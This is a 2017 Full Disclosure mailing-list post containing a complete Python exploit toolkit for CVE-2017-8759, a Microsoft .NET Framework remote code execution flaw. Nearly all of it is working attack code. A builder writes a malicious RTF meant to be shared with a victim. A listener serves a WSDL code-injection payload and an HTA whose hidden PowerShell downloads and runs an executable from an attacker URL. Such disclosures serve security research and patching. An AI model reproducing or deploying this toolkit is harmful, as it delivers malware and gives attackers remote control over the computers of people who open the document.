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[FD] Exploit toolkit for CVE-2017-8759 - Microsoft .NET Framework RCE (Builder + listener + video tutorial)
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Exploit toolkit for CVE-2017-8759 - Microsoft .NET Framework RCE (Builder + listener + video tutorial)
- From: Bhdresh <bhdresh@xxxxxxxxx>
- Date: Thu, 14 Sep 2017 19:27:30 +0400
# Exploit Title: Exploit toolkit for CVE-2017-8759 - Microsoft .NET
Framework RCE (Builder + listener + video tutorial)
# Date: 14/09/2017
# Exploit Author: Bhadresh Patel
# Version: Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6,
4.6.1, 4.6.2 and 4.7
# CVE : CVE-2017-8759
#!/usr/bin/env python
'''
## Exploit toolkit
CVE-2017-8759 - v1.0 (https://github.com/bhdresh/CVE-2017-8759) ##
'''
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo
BACKLOG = 50 # how many pending connections queue will hold
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
DEBUG = True # set to True to see the debug msgs
def main(argv):
# Host and Port information
global port
global host
global filename
global docuri
global payloadurl
global payloadlocation
global custom
global mode
global obfuscate
global payloadtype
filename = ''
docuri = ''
payloadurl = ''
payloadlocation = ''
custom = ''
port = int("80")
host = ''
mode = ''
obfuscate = int("0")
payloadtype = 'rtf'
# Capture command line arguments
try:
opts, args =
getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])
except getopt.GetoptError:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print "\nThis is a handy toolkit to exploit CVE-2017-8759
(Microsoft .NET Framework RCE)\n"
print "Modes:\n"
print " -M gen
Generate Malicious file only\n"
print " Generate malicious payload:\n"
print " -w <Filename.rtf> Name of
malicious RTF file (Share this file with victim).\n"
print " -u <http://attacker.com/test.txt> Path of
remote txt file. Normally, this should be a domain or IP where this tool is
running.\n"
print " For
example, http://attacker.com/test.txt (This URL will be included in malicious
file and\n"
print " will be
requested once victim will open malicious RTF file.\n"
print " -M exp Start
exploitation mode\n"
print " Exploitation:\n"
print " -p <TCP port:Default 80> Local
port number.\n"
print " -e <http://attacker.com/shell.exe> The
path of an executable file / meterpreter shell / payload which needs to be
executed on target.\n"
print " -l </tmp/shell.exe> Specify
local path of an executable file / meterpreter shell / payload.\n"
sys.exit()
elif opt in ("-M","--mode"):
mode = arg
elif opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
if "gen" in mode:
if (len(filename)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(docuri)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
print "Generating normal RTF payload.\n"
generate_exploit_rtf()
sys.exit()
mode = 'Finished'
if "exp" in mode:
if (len(payloadurl)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)<1):
print "Running exploit mode (Deliver HTA with remote payload) -
waiting for victim to connect"
exploitation_rtf()
mode = 'Finished'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)>1):
print "Running exploit mode (Deliver HTA + Local Payload) - waiting
for victim to connect"
exploitation_rtf()
mode = 'Finished'
if not "Finished" in mode:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
def generate_exploit_rtf():
# Preparing malicious RTF
s = docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
docuri_pad_len = 714 - len(docuri_hex)
docuri_pad = "0"*docuri_pad_len
payload =
"{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1
http://schemas.microsoft.com/office/word/2003/wordml}}\n";
payload += "{\n"
payload +=
"{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass Word.Document.8}\n"
payload += "{\\*\\objdata
010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00"+docuri_hex+docuri_pad+"00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0
\\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated "+filename+" successfully"
def exploitation_rtf():
print "Server Running on ",host,":",port
try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# associate the socket to host and port
s.bind((host, port))
# listenning
s.listen(BACKLOG)
except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)
# get the connection from client
while 1:
conn, client_addr = s.accept()
# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))
s.close()
def server_thread(conn, client_addr):
# get the request from browser
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')[0]
# get method
method = first_line.split(' ')[0]
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from "+client_addr[0]
conn.close()
sys.exit(1)
if ".exe" in url:
print "Received request for payload from "+client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read "+payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41
GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017
16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length:
"+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection:
Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if ".hta" in url:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03
GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017
17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive:
timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type:
application/hta\r\n\r\n<script>\na=new
ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe
-windowstyle hidden (new-object
System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\',
\\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe',
0);window.close();\n</script>\r\n"
conn.send(data)
conn.close()
if ".txt" in url:
print "Received GET method from "+client_addr[0]
data = 'HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03
GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017
17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 2000\r\nKeep-Alive:
timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type:
text/plain\r\n\r\n<definitions\n xmlns="http://schemas.xmlsoap.org/wsdl/"\n
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"\n
xmlns:suds="http://www.w3.org/2000/wsdl/suds"\n
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"\n
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo";>\n <portType
name="PortType"/>\n <binding name="Binding" type="tns:PortType">\n
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>\n
<suds:class type="ns0:Image"
rootType="MarshalByRefObject"></suds:class>\n </binding>\n <service
name="Service">\n <port name="Port" binding="tns:Binding">\n
<soap:address
location="'+payloadurl.split(':')[0]+"://"+payloadurl.split('/')[2]+'?C:\Windows\System32\mshta.exe?'+payloadurl.split(':')[0]+"://"+payloadurl.split('/')[2]+'/cmd.hta"/>\n
<soap:address location=";\n if
(System.AppDomain.CurrentDomain.GetData(_url.Split(\'?\')[0]) == null) {\n
System.Diagnostics.Process.Start(_url.Split(\'?\')[1], _url.Split(\'?\')[2]);\n
System.AppDomain.CurrentDomain.SetData(_url.Split(\'?\')[0], true);\n
} //"/>\n </port>\n </service>\n</definitions>\n'
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex
if __name__ == '__main__':
main(sys.argv[1:])
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